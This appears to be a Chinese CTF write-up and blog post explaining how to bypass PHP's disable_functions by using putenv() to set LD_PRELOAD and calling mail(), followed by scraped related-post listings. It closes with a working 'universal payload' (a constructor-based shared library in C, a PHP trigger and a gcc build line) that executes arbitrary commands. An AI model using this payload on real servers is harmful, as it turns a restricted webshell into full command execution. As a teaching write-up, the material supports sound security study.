LD_PRELOAD & putenv() 绕过 disable_functions & open_basedir
这次TCTF中一道题,给出了一个PHP一句话木马,设置了open_basedir,disable_functions包含所有执行系统命令的函数,然后目标是运行根目录下的/readflag,目标很明确,即绕过disable_functions和open_basedir,当然我还是一如既往的菜,整场比赛就会做个签到,这题也是赛后看WP才明白。
LD_PRELOAD
LD_PRELOAD是Unix中的一个环境变量,用于定义在程序运行前优先加载的动态链接库,LD和动态库有关,PRELOAD表示预加载,结合起来就是预先加载的动态库。通过这个环境变量,可以覆盖正常的函数库中的函数。
写个验证密码是否正确的demo

如果是不知道密码的情况下,就可以编写一个动态函数库来覆盖掉strcmp函数恒返回0以达到任意密码都返回Correct
-fPIC 作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code), 则产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意 位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的

设置环境变量后,任意密码都将返回Correct

putenv
PHP中putenv()函数用于设置服务器环境变量,仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。
putenv ( string $setting ) : bool
如
putenv("LD_PRELOAD=/tmp/evil.so");
劫持系统函数绕过disable_functions
这种方法已经存在了几年,它基于这样的概念:当系统试图调用某函数时,该函数位于特定的共享库(xxx.so)。因此,系统在调用之前将加载xxx.so。换句话说,如果我可以创建一个evil.so有了同名的函数,就能将其覆盖之。
所以需要找到一个php函数,它将运行一个新进程以及触发上述过程。新进程的原因就像前面提到的一样,需要重新启动服务以更改LD_PRELOAD,这里用到PHP mail() 函数
在Linux中,进程是不能直接去访问硬件设备的,比如读取磁盘文件、接收网络数据等,但可以将用户态模式切换到内核模式,通过系统调用来访问硬件设备。这时strace就可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间、调用次数,成功和失败的次数。

可以看到 这段PHP代码(mail()函数)使用 execve 在父进程中 fork 了一个子进程,调用了 /usr/sbin/sendmail
接着看下sendmail中调用了getuid()函数,(可以用readelf查看sendmail中使用了哪些函数,如readelf -Ws /usr/sbin/sendmail,但我环境似乎有问题执行不成功,所以还是用到strace)

所以可以编写一个动态库覆盖getuid()函数
一开始我是这么写的,虽然也能成功执行命令

但是服务器卡顿,一堆报错,然后关了SSH后就连接不上了,最后只得在控制台重启,应该是将程序中所有的getuid()都覆盖造成某些地方严重出错,所以改为如下,在第一次运行到我的写的getuid()函数时就unsetenv这个环境变量,保证之后的正常调用
在PHP代码中设置环境变量,并调用mail函数触发getuid(),最后成功执行命令

劫持共享库
__attribute__ 是 GNU C 里一种特殊的语法,语法格式为:__attribute__ ((attribute-list)),若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行。
Q
- When exactly does it run?
- Why are there two parentheses?
- Is
__attribute__a function? A macro? Syntax?- Does this work in C? C++?
- Does the function it works with need to be static?
- When does
__attribute__((destructor))run?A
- It's run when a shared library is loaded, typically during program startup.
- That's how all GCC attributes are; presumably to distinguish them from function calls.
- GCC-specific syntax.
- Yes, this works in C and C++.
- No, the function does not need to be static.
- The destructor is run when the shared library is unloaded, typically at program exit.
以上回答说的很清楚,__attribute__((constructor)) 在加载共享库时就会运行。于是只要编写一个含__attribute__((constructor)) 函数的共享库,然后在PHP中设置LD_PRELOAD环境变量,并且有一个能 fork 一个子进程并触发加载共享库的函数被执行,那么就能执行任意代码达到bypass disable_functions。当然mail()函数满足条件。
编写共享库

执行PHP

同理,当在linux中设置了环境变量后,那么使用任意命令都将触发

通用payload

evil.c
#include<stdlib.h>
__attribute__((constructor)) void l3yx(){
unsetenv("LD_PRELOAD");
system(getenv("_evilcmd"));
}
evil.php
<?php
putenv("_evilcmd=echo 1>/root/tmp/222222");
putenv("LD_PRELOAD=./evil.so");
mail('a','a','a','a');
gcc -shared -fPIC -o evil.so evil.c
参考:
Bypass disable_functions with LD_PRELOAD
How exactly does __attribute__((constructor)) work?
无需sendmail:巧用LD_PRELOAD突破disable_functions
LD_PRELOAD & putenv() 绕过 disable_functions & open_basedir的更多相关文章
- 通过LD_PRELOAD绕过disable_functions
今天做靶场时遇到了一个情形:拿到了webshell,却不能执行任何命令,如图 后来百度知道了disable_functions功能,这类服务器针对命令执行函数做了防范措施 一般绕过思路是利用漏掉的函数 ...
- 绕过disable_functions执行命令实验
绕过disable_functions执行命令实验 看下disable函数,所有命令函数都被禁用: 编译64位共享库: 命令成功执行: 参考链接: https://www.freebuf.com/ar ...
- 无需sendmail:巧用LD_PRELOAD突破disable_functions
*本文原创作者:yangyangwithgnu,本文属FreeBuf原创奖励计划,未经许可禁止转载 摘要:千辛万苦拿到的 webshell 居然无法执行系统命令,怀疑服务端 disable_funct ...
- [转+自]disable_functions之巧用LD_PRELOAD突破
写在前面: 通过知乎的一篇艰难的渗透提权,引发了一些对于disable_funcionts绕过的思考,虽然在暑假日记中记载了四种绕过disable_functions,比如com组件,pcntl_ex ...
- Disable_functions绕过整合
转载 https://whoamianony.top/2021/03/13/Web安全/Bypass Disable_functions/ https://www.mi1k7ea.com/2019/0 ...
- php5全版本绕过open_basedir读文件脚本
这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目.所以也没拿到JAE.SAE测试一下. 不说 ...
- Open_basedir绕过
Open_basedir绕过 一.基础知识 open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域, 假设open_basedir=/home/wwwr ...
- [转+自]关于PHP7的新特性(涉及取反和disabled_functions绕过)
PHP7和PHP5上的安全区别 preg_replace()不再支持/e修饰符 利用\e修饰符执行代码的后门大家也用了不少了,具体看官方的这段描述: 如果设置了这个被弃用的修饰符, preg_repl ...
- disfunc绕过
绕过DisFunc的常见小技巧 解析webshell命令不能执行时的三大情况 一是 php.ini 中用 disable_functions 指示器禁用了 system().exec() 等等这类命令 ...
随机推荐
- 利用 chunked 类型响应实现后台请求的监听
Koa 中实现 chunked 数据传输 中介绍了如何在 Koa 中实现 Transfer-Encoding:chunked 类型的响应分片传输.这里来看一个应用场景. 假如我们想监听后台的请求,并将 ...
- 爬虫selenium中截图
一.整个页面截图 driver = webdriver.Chrome() driver.get(url) diver.save_screenshot('保存路径') 二.局部截图 driver = w ...
- python-Redis模块常用的方法汇总
Redes模块常用的方法汇总 一.创建建Redis对象 1.直接使用 import redis r = redis.Redis(host='127.0.0.1', port=6379) 2.连接池使用 ...
- Servlet、Jsp
一.Servlet 1.什么是Servlet? (1)由sun公司(被oracle公司收购)制定的一种用来扩展web服务器功能的组件规范.简单的讲就是一种用来开发动态Web的技术. 扩展web服务器功 ...
- CentOS环境下通过YUM安装软件,搭建lnmp环境
安装nginx.php-fpm和mysql. yum install nginx yum install php-fpm yum install mysql CentOS下LNMP环境配置 1. 配置 ...
- 25个JavaScript数组方法代码示例
摘要: 通过代码掌握数组方法. 原文:通过实现25个数组方法来理解及高效使用数组方法(长文,建议收藏) 译者:前端小智 Fundebug经授权转载,版权归原作者所有. 要在给定数组上使用方法,只需要通 ...
- Linux iotop工具简介
iotop的简介: iotop是一款开源.免费的用来监控磁盘I/O使用状况的类似top命令的工具,iotop可以监控进程的I/O信息.它是Python语言编写的,与iostat工具比较,iostat是 ...
- Linux:DNS服务器搭建
DNS简介 DNS(Domain Name System)域名系统: 是一种采用客户端/服务器机制,负责实现计算机名称与IP地址转换的系统.DNS作为一种重要的网络服务,既是国际互联网工作的基础,同时 ...
- mysql8之坑
一.具体"坑" 1.修改密码和修改加密方式 mysql> ALTER USER 'root'@'localhost' IDENTIFIED BY '新密码' PASSWORD ...
- android binder 进程间通信机制1-binder 驱动程序
以下内容只大概列个提纲,若要明白其中细节,还请看源码: 申明:本人菜鸟,希望得到大神指点一二,余心足已 binder 设备:/dev/binder binder 进程间通信涉及的四个角色: Clien ...